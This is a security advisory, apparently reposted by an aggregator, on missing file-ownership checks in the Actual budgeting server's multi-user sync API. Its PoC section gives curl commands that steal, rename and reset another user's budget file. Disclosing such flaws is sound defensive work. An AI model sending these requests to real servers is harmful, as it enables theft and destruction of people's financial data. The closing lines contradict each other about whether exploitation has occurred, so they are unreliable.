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GHSA-qmjj-p7m9-wjrv
No affected components available
In multi-user mode (OpenID), the sync API endpoints (/sync/*) don't verify that the authenticated user owns or has access to the file being operated on. Any authenticated user can read, modify, and overwrite any other user's budget files by providing their file ID.
Affected Code
File: packages/sync-server/src/app-sync.ts
The validateSessionMiddleware on line 31 confirms the user is authenticated, but individual endpoints only check that the file exists (via verifyFileExists), never that the requesting user owns or has access to the file.
Compare with POST /sync/delete-user-file (lines 394-430) which correctly checks:
const isOwner = file.owner === userId;
const isServerAdmin = isAdmin(userId);
if (!isOwner && !isServerAdmin) { ... }
This check is missing from all other endpoints.
Affected Endpoints
GET /sync/download-user-file- download any budget filePOST /sync/upload-user-file- overwrite any budget filePOST /sync/sync- read/write sync messages of any filePOST /sync/user-get-key- read encryption key infoPOST /sync/user-create-key- change encryption keyPOST /sync/reset-user-file- reset sync statePOST /sync/update-user-filename- rename fileGET /sync/get-user-file-info- read file metadata
PoC
Setup: Two users (Alice, Bob) authenticated via OpenID on the same Actual server. Alice has a budget with fileId abc-123.
Bob downloads Alice's budget:
curl -X GET 'https://actual.example.com/sync/download-user-file' \
-H 'X-Actual-Token: <bob-session-token>' \
-H 'X-Actual-File-Id: abc-123' \
-o stolen-budget.blob
Bob reads Alice's file metadata:
curl -X GET 'https://actual.example.com/sync/get-user-file-info' \
-H 'X-Actual-Token: <bob-session-token>' \
-H 'X-Actual-File-Id: abc-123'
Bob renames Alice's budget:
curl -X POST 'https://actual.example.com/sync/update-user-filename' \
-H 'X-Actual-Token: <bob-session-token>' \
-H 'Content-Type: application/json' \
-d '{"fileId": "abc-123", "name": "pwned"}'
Bob resets Alice's sync state (destructive):
curl -X POST 'https://actual.example.com/sync/reset-user-file' \
-H 'X-Actual-Token: <bob-session-token>' \
-H 'Content-Type: application/json' \
-d '{"fileId": "abc-123"}'
File IDs can be discovered by admin users via GET /sync/list-user-files (admins see all files), through user_access sharing, or by guessing.
Impact
In multi-user deployments (OpenID mode), any authenticated user can steal other users' complete financial data (transactions, accounts, balances, payees), modify or destroy their budgets, and tamper with encryption keys. This is a personal finance app, so the data is highly sensitive.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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